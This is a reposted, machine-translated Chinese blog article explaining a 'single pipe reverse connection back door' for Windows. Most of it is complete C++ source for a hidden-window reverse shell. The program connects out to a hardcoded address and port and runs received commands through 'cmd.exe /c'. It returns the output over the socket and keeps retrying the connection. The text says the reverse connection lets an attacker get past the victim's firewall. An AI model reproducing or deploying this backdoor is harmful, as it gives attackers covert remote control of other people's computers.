当前位置：网站首页>Safe way -- Analysis of single pipe reverse connection back door

Safe way -- Analysis of single pipe reverse connection back door

2022-07-24 19:55:00 【51CTO】

Principle introduction

Single pipe back door be relative to Double pipe back door （ Refer to the previous Blog）, Obviously, the single pipe back door is used “cmd.exe /c [ command ]” The usage of is in progress cmd The command is executed when the process is created , Therefore, the reason for socket Sent to cmd The pipe . At the same time, the author adds Reverse connection Module , The reverse connection is performed by the host computer client End , Manipulator's nc or telnet And so on server End , Contrary to the forward connection principle of the previous issue , The reverse connection is made by the host , Firewall that can effectively bypass the host for external connections .

Legend of single pipe principle

The way to safety —— Single pipe reverse connection back door analysis _ Process creation

C++ Code samples

       
       /*
       
*@Author: PeterZ1997
       
*@Time: 2018/03/03
       
*@Function:  Single pipe reverse connection rear door (Default_Port: 4900)
       
*/
       
#include <iostream>
       
#include <cstdio>
       
#include <cstdlib>
       
#include <cstring>
       
#include <Windows.h>
       
#include <winsock.h>
       
using namespace std;
       
#pragma comment(lib,"ws2_32")
       
HANDLE g_hinputPipe, g_houtputPipe;
       
HANDLE g_hThread;
       
DWORD g_dwThreadId;
       
const unsigned short PORT = 4900;
       
const char * REMOTE_ADDR = "127.0.0.1";
       
const unsigned int MAXSTR = 255;
       
// Send and receive messages 
       
bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
       
{
       
    ZeroMemory(cmdline, MAXSTR);
       
    SECURITY_ATTRIBUTES sa;
       
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
       
    sa.lpSecurityDescriptor = NULL;
       
    sa.bInheritHandle = TRUE;
       
    while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
       
    {
       
        Sleep(1000);
       
    }
       
    Sleep(200);
       
    STARTUPINFO si;
       
    PROCESS_INFORMATION pi;
       
    GetStartupInfo(&si);
       
    si.hStdError = g_hinputPipe;
       
    si.hStdOutput = g_hinputPipe;
       
    si.wShowWindow = SW_HIDE;
       
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
       
    GetSystemDirectory(cmdline, MAXSTR);
       
    strcat_s(cmdline, MAXSTR, "\\cmd.exe /c ");
       
    strcat_s(cmdline, MAXSTR, sockData);
       
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
       
    {
       
        Sleep(1000);
       
    }
       
    WaitForSingleObject(pi.hProcess, 10000);
       
    return true;
       
}
       
// Pipeline information return monitoring at the controlled end 
       
DWORD WINAPI WatchData(LPVOID lprarm)
       
{
       
    unsigned int g_Ret = 0;
       
    DWORD dwTotalAvail = 0;
       
    DWORD realReadLen = 0;
       
    char readBuffer[4096] = "\0";
       
    SOCKET sSock = (SOCKET)lprarm;
       
    while (true)
       
    {
       
        g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
       
        if (g_Ret && dwTotalAvail > 0)
       
        {
       
            Sleep(300);
       
            g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
       
            if (g_Ret && realReadLen > 0)
       
            {
       
                Sleep(200);
       
                strcat_s(readBuffer, 4096, "\r\n(Command)>");
       
                send(sSock, readBuffer, strlen(readBuffer), 0);
       
                ZeroMemory(readBuffer, 4096);
       
            }
       
        }
       
    }
       
    return 0;
       
}
       
// The main function 
       
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
       
{
       
    char sendError[30] = "[*] Send Error !\r\n\r\n";
       
    const char * welRow = "=====> Hello,Guy ~ <=====\n\n(Command)>";
       
    char cmdline[MAXSTR] = "\0";
       
    char sockData[MAXSTR] = "\0";
       
    int sockDataLen = 0;
       
    SOCKET sSock;
       
    sockaddr_in sockAddr;
       
    WSADATA wsd;
       
    if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
       
    if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
       
    sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
       
    sockAddr.sin_family = AF_INET;
       
    sockAddr.sin_port = htons(PORT);
       
    while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
       
    {
       
        Sleep(2000);
       
        continue;
       
    }
       
    send(sSock, welRow, strlen(welRow), 0);
       
    g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
       
    while (true)
       
    {
       
        while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
       
        {
       
            Sleep(1000);
       
        }
       
        if (!sendData(sSock, cmdline, sockData))
       
        {
       
            send(sSock, sendError, strlen(sendError), 0);
       
        }
       
        ZeroMemory(sockData, MAXSTR);
       
    }
       
    WaitForSingleObject(g_hThread, INFINITE);
       
    CloseHandle(g_hinputPipe);
       
    CloseHandle(g_houtputPipe);
       
    closesocket(sSock);
       
    WSACleanup();
       
    ExitProcess(0);
       
    return 0;
       
}
      
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.

原网站

版权声明
本文为[51CTO]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/203/202207210839262340.html

当前位置：网站首页>Safe way -- Analysis of single pipe reverse connection back door

Safe way -- Analysis of single pipe reverse connection back door

Principle introduction

C++ Code samples

边栏推荐

猜你喜欢

随机推荐